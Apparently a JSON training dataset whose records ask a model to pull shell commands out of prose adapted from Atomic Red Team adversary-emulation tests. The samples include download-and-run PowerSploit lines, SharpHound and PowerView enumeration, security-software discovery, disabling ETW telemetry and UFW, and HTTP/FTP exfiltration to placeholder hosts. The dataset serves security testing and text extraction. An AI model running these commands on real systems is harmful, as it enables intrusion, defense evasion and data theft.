    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To discover permission groups using PowerShell, run the following command, though note it may display errors on non-domain computers: get-localgroup\nGet-LocalGroupMember -Name \"Administrators\"\n; This module executes SharpHound with the following commands to enumerate local admin group members: New-Item -Path \"#{output_path}\" -ItemType Directory > $null\n& \"#{sharphound_path}\" -d \"#{domain}\" --CollectionMethod LocalAdmin --NoSaveCache --OutputDirectory \"#{output_path}\"",
    "output": "{\"command_list\": [\"get-localgroup\\nGet-LocalGroupMember -Name \\\"Administrators\\\"\\n\", \"New-Item -Path \\\"#{output_path}\\\" -ItemType Directory > $null\\n& \\\"#{sharphound_path}\\\" -d \\\"#{domain}\\\" --CollectionMethod LocalAdmin --NoSaveCache --OutputDirectory \\\"#{output_path}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For detecting security software on an endpoint, execute this multi-line command which searches for various AV products: get-process | ?{$_.Description -like \"*virus*\"}\nget-process | ?{$_.Description -like \"*carbonblack*\"}\nget-process | ?{$_.Description -like \"*defender*\"}\nget-process | ?{$_.Description -like \"*cylance*\"}\nget-process | ?{$_.Description -like \"*mc*\"}\nget-process | ?{$_.ProcessName -like \"*mc*\"}\nget-process | Where-Object { $_.ProcessName -eq \"Sysmon\" }; When successfully executed, the command shell will display any running security software by using this command: ps aux | egrep 'Little\\ Snitch|CbOsxSensorService|falcond|nessusd|santad|CbDefense|td-agent|packetbeat|filebeat|auditbeat|osqueryd|BlockBlock|LuLu'",
    "output": "{\"command_list\": [\"get-process | ?{$_.Description -like \\\"*virus*\\\"}\\nget-process | ?{$_.Description -like \\\"*carbonblack*\\\"}\\nget-process | ?{$_.Description -like \\\"*defender*\\\"}\\nget-process | ?{$_.Description -like \\\"*cylance*\\\"}\\nget-process | ?{$_.Description -like \\\"*mc*\\\"}\\nget-process | ?{$_.ProcessName -like \\\"*mc*\\\"}\\nget-process | Where-Object { $_.ProcessName -eq \\\"Sysmon\\\" }\\n\", \"ps aux | egrep 'Little\\\\ Snitch|CbOsxSensorService|falcond|nessusd|santad|CbDefense|td-agent|packetbeat|filebeat|auditbeat|osqueryd|BlockBlock|LuLu'\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The syslog configuration can be modified by executing this command:\nif [ -f \"/etc/#{syslog_config_file_name}\" ];\nthen echo '#art_test_1562_006_2' >> /etc/#{syslog_config_file_name}\nfi\n; This test disables the Microsoft Powershell ETW provider, a frequent telemetry source in security solutions, by executing the built-in Windows tool with this command: cmd /c \"#{ps_exec_location}\" -accepteula -i -s cmd.exe /c logman update trace \"#{session}\" --p \"#{provider}\" -ets",
    "output": "{\"command_list\": [\"if [ -f \\\"/etc/#{syslog_config_file_name}\\\" ];\\nthen echo '#art_test_1562_006_2' >> /etc/#{syslog_config_file_name}\\nfi\\n\", \"cmd /c \\\"#{ps_exec_location}\\\" -accepteula -i -s cmd.exe /c logman update trace \\\"#{session}\\\" --p \\\"#{provider}\\\" -ets\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This operation creates a text file, attempts to upload it via HTTP PUT with a specified ContentType header, and then removes the file, which can be done by executing:\n$fileName = \"#{file}\"\n$url = \"#{domain}\"\n$file = New-Item -Force $fileName -Value \"This is ART IcedID Botnet Exfil Test\"\n$contentType = \"application/octet-stream\"\ntry {Invoke-WebRequest -Uri $url -Method Put -ContentType $contentType -InFile $fileName} catch{}; For testing purposes, you can simulate encrypted file transfers by executing this command, which generates test data and sends it to an FTP server: $sampleData = \"Sample data for exfiltration test\"\nSet-Content -Path \"#{sampleFile}\" -Value $sampleData\n$ftpUrl = \"#{ftpServer}\"\n$creds = Get-Credential -Credential \"#{credentials}\"\nInvoke-WebRequest -Uri $ftpUrl -Method Put -InFile \"#{sampleFile}\" -Credential $creds\n",
    "output": "{\"command_list\": [\"$fileName = \\\"#{file}\\\"\\n$url = \\\"#{domain}\\\"\\n$file = New-Item -Force $fileName -Value \\\"This is ART IcedID Botnet Exfil Test\\\"\\n$contentType = \\\"application/octet-stream\\\"\\ntry {Invoke-WebRequest -Uri $url -Method Put -ContentType $contentType -InFile $fileName} catch{}\", \"$sampleData = \\\"Sample data for exfiltration test\\\"\\nSet-Content -Path \\\"#{sampleFile}\\\" -Value $sampleData\\n$ftpUrl = \\\"#{ftpServer}\\\"\\n$creds = Get-Credential -Credential \\\"#{credentials}\\\"\\nInvoke-WebRequest -Uri $ftpUrl -Method Put -InFile \\\"#{sampleFile}\\\" -Credential $creds\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To allow an executable through the system firewall, first copy it to the Users directory and then create a firewall rule using the following commands: Copy-Item \"#{exe_file_path}\" -Destination \"C:\\\\Users\\\\$env:UserName\" -Force\nnetsh advfirewall firewall add rule name=\"Atomic Test\" dir=in action=allow program=\"C:\\\\Users\\\\$env:UserName\\\\AtomicTest.exe\" enable=yes\n; If UFW is present on the system, you can stop it with this command: ufw disable",
    "output": "{\"command_list\": [\"Copy-Item \\\"#{exe_file_path}\\\" -Destination \\\"C:\\\\Users\\\\$env:UserName\\\" -Force\\nnetsh advfirewall firewall add rule name=\\\"Atomic Test\\\" dir=in action=allow program=\\\"C:\\\\Users\\\\$env:UserName\\\\AtomicTest.exe\\\" enable=yes\\n\", \"ufw disable\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To identify system owners or users on an endpoint, run the following commands which will output a list of usernames: users\nw\nwho\n; The following script will hunt for user sessions on other machines and report its findings: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Invoke-UserHunter -Stealth -Verbose\n",
    "output": "{\"command_list\": [\"users\\nw\\nwho\\n\", \"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Invoke-UserHunter -Stealth -Verbose\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
